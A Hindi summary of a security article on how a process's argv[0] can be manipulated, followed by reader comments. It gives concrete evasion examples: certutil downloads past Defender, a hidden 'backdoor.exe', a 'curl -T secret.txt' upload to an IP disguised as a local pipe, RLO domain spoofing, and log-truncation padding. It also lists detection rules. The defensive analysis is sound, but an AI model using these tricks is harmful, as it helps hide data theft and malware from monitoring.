`argv[0]` का उपयोग क्यों किया जाता है?
(wietzebeukema.nl)- कमांड लाइन अजीब है
- Windows खास तौर पर इस तरह की समस्याओं के लिए जाना जाता है, लेकिन ज़्यादातर operating systems ने command line को जिस तरह implement किया है, उससे security समस्याएँ पैदा हो सकती हैं
- यह लेख process की command line के पहले argument
argv[0]को process के नाम के लिए आरक्षित करने की परंपरा की समस्याओं को समझाता है
argv[0] अतीत की एक विरासत है
- जब कोई program शुरू होता है, तो उसे command line arguments दिए जाते हैं ताकि program के अंदर उन तक पहुँचा जा सके, और वास्तव में program के शुरू होने पर यह सबसे पहले उपलब्ध होने वाली जानकारियों में से एक होती है
- यह program के execution flow को बदलने का एक प्रमुख mechanism है
- POSIX और DOS/Win32 में अपनाए गए
execsystem call family को देखेंint execv(const char *path, char *const argv[]);- इस
execvfunction को call करने के लिए, चलाए जाने वाले application का पूरा pathpathके रूप में और arguments वाला vectorargvके रूप में program को देना पड़ता है, और यह status code वाला integer return करता है - इस specification के अनुसार, अगर इस call के परिणामस्वरूप program सफलतापूर्वक चल जाता है, तो target program को
int main (int argc, char *argv[]);के ज़रिये call किया जाता है
- सभी C standards में
argcnegative नहीं होता,argv[argc]एक null pointer होता है, और अगरargc0 से बड़ा है तोargv[0]call किए गए program के नाम को दर्शाता है - कुछ लोग
argv[0]की ज़रूरत पर सवाल उठा सकते हैं- "नई process को स्पष्ट रूप से अपना नाम पता है, फिर calling process के पहले process argument के रूप में उसे यह क्यों देना चाहिए?"
- POSIX environments में program को symbolic link के ज़रिये call किया जा सकता है, इसलिए यह नई process को यह समझने में मदद करता है कि उससे कौन-सा अनुरोध किया गया है
- उदाहरण के लिए, Debian में
shutdownऔरreboot, एक हीsystemctlexecutable से linked हैं, और call किए गए command के अनुसार अलग तरह से काम करते हैं
- यह एक संदिग्ध design decision जैसा लगता है
- "क्या किसी program को अपने ही नाम के आधार पर अलग तरह से व्यवहार करना चाहिए?"
- आधुनिक नज़रिए से देखें तो यह software की predictability कम करता है और modern design principles के खिलाफ लगता है
- 1970-1980 के दशक के नज़रिए से देखें तो यह शायद duplicate को कम करने की कोशिश थी क्योंकि उस समय computing resources सीमित थे
- लेकिन अब disk space कोई बड़ी समस्या नहीं है। उदाहरण के लिए, macOS Sonoma में
shutdownऔरrebootअलग-अलग executables के रूप में मौजूद हैं - इस पर बहस हो सकती है कि दो मिलते-जुलते programs को एक file में जोड़ना सचमुच ज़रूरी है या command arguments वाला तरीका अधिक उपयुक्त है
- मान लें कि इस सिद्धांत को स्वीकार भी कर लिया जाए, तब भी इसका implementation विवादास्पद है
- यह सवाल बना रहता है कि
argv[0]की जानकारी process arguments के हिस्से के रूप में दी ही क्यों जानी चाहिए argv[0]पर निर्भर programs में error आ सकती है अगर calling process इसे सही तरह से set न करे- कुछ programs security के संदर्भ में
argv[0]का ग़लत तरीके से उपयोग भी करते हैं - एक बेहतर तरीका यह होगा कि
argv[0]को अलगtask_structया PEB feature के रूप में रखा जाए और operating system इस value को manage करे- इससे consistent tracking संभव होगी और manipulation की गुंजाइश कम होगी
- यह सवाल बना रहता है कि
- हैरानी की बात यह है कि इस काम के सबसे करीब आने वाला OS Windows है
- Windows, दूसरे mainstream operating systems के विपरीत, नई process बनाते समय
argv[0]को set नहीं करता - Windows API calls (
CreateProcess,ShellExecute) executable path के आधार परargv[0]को अपने-आप set कर देती हैं - यह सबसे तर्कसंगत implementation लगता है, लेकिन Windows में भी POSIX
execcalls अपनाई गई हैं, इसलिएargv[0]को manually set करने का तरीका मौजूद है
- Windows, दूसरे mainstream operating systems के विपरीत, नई process बनाते समय
argv[0] को नज़रअंदाज़ किया जाता है (ज़्यादातर मामलों में)
argv[0]की अहमियत पर आपकी जो भी राय हो, व्यवहार मेंargv[0]एक वास्तविक concept है और इसके साथ समस्याएँ जुड़ी हुई हैंexeccall के समय ऊपर बताई गई तीन शर्तों में से पहली दो को operating system संभालता है, लेकिनargv[0]से जुड़ी आख़िरी शर्त managed नहीं होती- क्योंकि
execcaller के पासargvपर पूरा control होता है, वह इस requirement को अनदेखा कर सकता है, और न operating system न ही calling/called program इस violation को check करता है argv[0]को अनदेखा करने का उदाहरणechoका उपयोग करके Hello, world! प्रिंट करने के लिए आम तौर परexecv("/usr/bin/echo", ["echo", "Hello, world!"])call किया जाता है- लेकिन अगर
execv("/usr/bin/echo", ["oopsie", "Hello, world!"])call किया जाए, तो भीechoprogram सामान्य रूप से चलता है और Hello, world! प्रिंट करता है echoprogramargv[0]को अनदेखा करता है और सिर्फargv[1]से आगे के arguments पर ध्यान देता है- ज़्यादातर programs इसी तरह का approach अपनाते हैं और
argv[0]को ignore करते हैं
argv[0]manipulation के उदाहरण- C समेत कई programming और scripting languages में
argv[0]manipulate करने के तरीके उपलब्ध हैं:
python3 -c "import os; os.execvp('/path/to/binary', ['ARGV0', '--other', '--args', '--here'])" perl -e 'exec {"/path/to/binary"} "ARGV0", "--other", "--args", "--here"' ruby -e "exec(['/path/to/binary','ARGV0'],'--other', '--args', '--here')" bash -c 'exec -a "ARGV0" /path/to/binary --other --args --here'- C समेत कई programming और scripting languages में
argv[0]को manipulate करना आसान है और इससे ज़्यादातर program executions प्रभावित नहीं होते। लेकिन security के लिहाज़ से यह समस्या बन सकता है
argv[0] सुरक्षा तंत्र को कमज़ोर कर सकता है
argv[0]का उपयोग security software को धोखा देने के लिए किया जा सकता है। अगर कोई malicious user system से compromise कर ले, तो वह attacker के commands चलाकर system को manipulate कर सकता है- AV और EDR जैसे defensive software process execution को monitor करते हैं, और अगर कोई खास command हानिकारक लगे तो उसे detect या block करते हैं। ज़्यादातर solutions उन commands को सक्रिय रूप से detect करते हैं जिनका attackers अक्सर उपयोग करते हैं
- उदाहरण:
certutilcommand का दुरुपयोग- Windows का built-in command line tool
certutilहमलों में अक्सर इस्तेमाल होता है। initial access मिलने के बाद external payload download करने के साधन के रूप में इसका उपयोग किया जाता है - Microsoft Defender Antivirus,
certutilexecution को block करता है अगर command line arguments file download attempt दिखाएँ। लेकिन अगरargv[0]को blank set करकेcertutilशुरू किया जाए, तो Defender इसे block नहीं करता - यह दिखाता है कि security detection में program name को command line का हिस्सा मान लेने से समस्या पैदा होती है। उदाहरण के लिए, अगर detection logic
command_line.contains('certutil') AND command_line.contains('-urlcache')जैसी हो, तो इसमें यह मान लिया जाता है किcertutilcommand line का हिस्सा होगा। लेकिनargv[0]manipulate करके इस logic को bypass किया जा सकता है - अधिक प्रभावी detection logic
process_path.endswith('certutil.exe') AND command_line.contains('-urlcache')जैसी होनी चाहिए
- Windows का built-in command line tool
argv[0]के ज़रिये detection bypass- detection bypass,
argv[0]में tuning keywords जोड़कर भी किया जा सकता है। detection आम तौर पर false positives को filter करने के लिए base conditions और additional conditions को जोड़ती है - उदाहरण के लिए, जब
attrib.exeकिसी file को hidden बनाता है तो detection rule trigger हो सकता है। लेकिन व्यवहार में यह अक्सरdesktop.inifile के लिए वैध रूप से चलाया जाता है - यह जानने वाला attacker,
argv[0]मेंdesktop.iniशामिल करके detection bypass कर सकता है। उदाहरण के लिए,argv = ['attrib_\desktop.ini', '+H', 'backdoor.exe']जैसा set किया जा सकता है
- detection bypass,
argv[0] से भ्रम पैदा किया जा सकता है
argv[0]का दुरुपयोग सिर्फ security software ही नहीं बल्कि इंसानों को धोखा देने के लिए भी किया जा सकता है- security analysts, EDR software जैसे tools द्वारा generate किए गए alerts की समीक्षा करते हैं, और इन alerts में संबंधित process की command line शामिल होती है
- process की command line वह अहम जानकारी है जिसके आधार पर analyst तय करता है कि alert की आगे जाँच करनी है या उसे ignore करना है
- उदाहरण: command line deception
curl -T secret.txt 123.45.67.89command चलने पर संभावित data exfiltration का alert उत्पन्न हो सकता है। यह command filesecret.txtको IP address 123.45.67.89 पर upload करती है- इसी scenario में अगर
argv[0]कोcurlसे बदलकरcurl localhost | grepकर दिया जाए, तब भी यह एक valid command रहती है - security software command line array को spaces से अलग किए गए string के रूप में दिखाती है, इसलिए इस स्थिति में command
curl localhost | grep -T secret.txt 123.45.67.89जैसी दिखाई दे सकती है - analyst के नज़रिए से ऐसा लग सकता है कि
curl localhostचलाया गया और उसका resultgrep -T secret.txt 123.45.67.89को pass हुआ। जबकि वास्तव में यह remote address पर जानकारी upload करने की क्रिया है, लेकिन देखने में ऐसा लगता है जैसे local address से download किया जा रहा हो
- Right-To-Left Override (RLO) character का उपयोग
- कुख्यात RLO (right-to-left reordering) character का उपयोग
argv[0]manipulate करने के लिए किया जा सकता है - यह Unicode character rendering applications को निर्देश देता है कि उसके बाद के characters को उल्टे क्रम में दिखाया जाए
argv[0]में RLO insert करने परping moc.elgoog.some-evil-website.comकोping moc.etisbew-live-emos.google.comजैसा दिखाया जा सकता है- यह तरीका detection logic को प्रभावित नहीं करता, लेकिन analyst को भ्रमित कर सकता है
- कुख्यात RLO (right-to-left reordering) character का उपयोग
- इस तरह की techniques दिखाती हैं कि malicious activity छिपाने के लिए
argv[0]को manipulate करने के कितने अलग-अलग तरीके हो सकते हैं, ताकि security software और मानवीय नज़र दोनों को धोखा दिया जा सके
argv[0] telemetry को नुकसान पहुँचा सकता है
- क्योंकि
argv[0]command line की सबसे शुरुआत में होता है, अगरargv[0]में काफ़ी सारे characters भर दिए जाएँ, तो बाकी सभी arguments command line के अंत की ओर धकेले जा सकते हैं - यह दो कारणों से समस्या बन सकता है: पहला, दिलचस्प हिस्सा command line के अंत में 'छिप' सकता है, जिससे analyst शायद scroll ही न करे; और उससे भी ज़्यादा अहम बात यह है कि command line की कुल लंबाई इतनी बढ़ाई जा सकती है कि monitoring software वास्तव में महत्वपूर्ण arguments को काट दे
- command line length limits
- Windows 7 के बाद से Windows में command line की अधिकतम लंबाई 14,336 characters (लगभग 14 KiB) है
- Linux kernel में अधिकतम लंबाई 32 page sizes के रूप में hardcoded है, जो 64-bit architecture पर लगभग 131,072 characters (128 KiB) होती है
- macOS Sonoma अधिकतम 1,048,576 characters (1 MiB) की command line की अनुमति देता है
- इसका मतलब है कि
argv[0]मनमाने space का बहुत बड़ा हिस्सा घेर सकता है
- telemetry damage के उदाहरण
- process monitoring software (जैसे EDR) लंबी command line executions को पूरा log कर सकता है, या overhead कम करने के लिए उन्हें fixed length तक truncate कर सकता है
- अगर लंबी command lines पूरी log की जाएँ, तो सिर्फ maximum command line length का उपयोग करके 1,000 processes शुरू करने से 1GiB log data तैयार किया जा सकता है
- अगर truncation लागू हो, तो command line arguments telemetry से कट सकते हैं। उदाहरण के लिए,
perl -e 'exec {"echo"} "_"x50000, "Hello, world!"'command “Hello, world!” प्रिंट करती है, लेकिन execution की telemetry में सिर्फ underscores रिकॉर्ड हो सकते हैं, या कुछ मामलों में पूरी तरह खाली command line दर्ज हो सकती है - इस तरह वास्तविक महत्वपूर्ण command line arguments मौजूद नहीं दिखते, इसलिए detection logic और analysts समझ ही नहीं पाते कि वास्तव में हुआ क्या
argv[0] के जोखिम: रोकथाम और detection
argv[0]एक समस्या सुलझाने की कोशिश में कई दूसरी समस्याएँ पैदा कर देता है- क्योंकि
argv[0]के जल्द गायब होने की संभावना कम है, इसलिए security के नज़रिए से इससे निपटने के तरीकों पर ध्यान देना ज़रूरी है - रोकथाम के उपाय
- software developers,
argv[0]को अपने filename से compare करके manipulation की जाँच कर सकते हैं, लेकिन यह scalable नहीं है - operating system यह जाँच अधिक भरोसेमंद तरीके से कर सकता है। program flow बदलने के लिए
argv[0]पर निर्भर रहना बेहद हतोत्साहित किया जाना चाहिए - developers के लिए सबसे अच्छा यह है कि जहाँ तक संभव हो,
argv[0]के साथ interaction ही न करें
- software developers,
- security professionals के लिए detection के तरीके
argv[0]कैसे काम करता है और उसकी समस्याएँ क्या हैं, इसे समझना command line deception रोकने का एक महत्वपूर्ण कदम है- अगर security software command line arguments को array के रूप में देती है, तो कुछ patterns को अधिक भरोसेमंद तरीके से पहचाना जा सकता है
- बहुत लंबी
argv[0]values या pipe character जैसे suspicious characters वाले values को तुरंत suspicious flag किया जाना चाहिए - अगर command line arguments string के रूप में दी गई हों, तब भी ऐसी command lines को flag किया जा सकता है जिनमें program name शामिल न हो। यह संकेत देता है कि
argv[0]manipulate किया गया हो सकता है - ज़्यादातर environments में RLO character की मौजूदगी अपने-आप में high-efficiency detection method है
- truncated command line arguments के मामले में यह समझना ज़रूरी है कि security solutions और data lake उन्हें कैसे handle करते हैं, और उससे generated telemetry पर क्या असर पड़ता है
- defensive software में सुधार
- defensive software को
argv[0]abuse की detection बेहतर करनी चाहिए। suspiciousargv[0]values के साथ software execution को block करना संभव होना चाहिए, और इससे false positives पैदा नहीं होने चाहिए - EDR platforms को command line arguments report करते समय
argv[0]को exclude करने पर भी विचार करना चाहिए। इससे इस लेख में बताए गए अधिकांश मुद्दे खत्म हो जाते हैं, और forensic value भी अधिकांश मामलों में कम ही होती है
- defensive software को
- अंततः, कोई भी
argv[0]की वजह से अनावश्यक सिरदर्द नहीं चाहता। हमारा software भी नहीं
GN⁺ का सार
argv[0]अतीत की एक विरासत है और आधुनिक software design principles के खिलाफ है- ज़्यादातर programs
argv[0]को ignore करते हैं, लेकिन इससे security समस्याएँ पैदा हो सकती हैं argv[0]security software और इंसानों दोनों को धोखा दे सकता है, और telemetry को नुकसान पहुँचा सकता है- security professionals को
argv[0]के दुरुपयोग का detection करना चाहिए और defensive software को इसे बेहतर तरीके से संभालना चाहिए
2 टिप्पणियां
शायद मैं पुराना खयालात वाला हूँ, इसलिए लेखक के दावे से ज़्यादा सहमत नहीं हो पा रहा हूँ। समस्या
execकी है, लेकिन लगता है कि उसकी चिंगारीargv[0]पर आ गिरी है।Hacker News राय
argv[0]को पढ़ने पर आपत्ति करना लेखक की अज्ञानता दिखाता है या फिर बहुत मजबूत सुरक्षा की ज़रूरत मानता हैargv[0]वैल्यू के उपयोग को सीमित करने पर चर्चा करना विचार करने लायक हैargv[0]का उपयोग सैकड़ों कमांड्स के symbolic link target के रूप में किया जाता हैargv[0]का उपयोग करने वाले टूल्स के जरिए container के अंदर से host कमांड्स चलाए जा सकते हैंयह कोई समस्या नहीं है कि प्रोग्राम अपने नाम के अनुसार अलग तरह से व्यवहार करे
argv[0]पर आपत्ति करने वालों का कहना है कि यह आधुनिक design principles के खिलाफ हैargv[0]का उपयोग यह जाँचने के लिए करता है कि वह virtualenv के अंदर है या नहीं, और उसी के अनुसार search path समायोजित करता हैसुरक्षा के नज़रिए से
argv[0]खास तौर पर बुरा नहीं हैargvवैल्यूज़ quote करने के लिए ठीक करना बेहतर हैargv[0]में कोई दिक्कत नहीं हैargv[0]का उपयोग कमांड के version अलग करने के लिए करते हैंbusybox 'shim' मोड में
argv[0]का उपयोग करता हैmacOS कई कमांड्स को एक ही executable की ओर point करने के लिए सेट करता है
argv[0]का उपयोग करके CLI usability बेहतर करता है और code duplication कम करता हैargv[0]को हटाने से उपयोगी functionality खो जाएगीargv[0]हटाने पर भी हमलावर कोई दूसरा तरीका ढूँढ लेंगे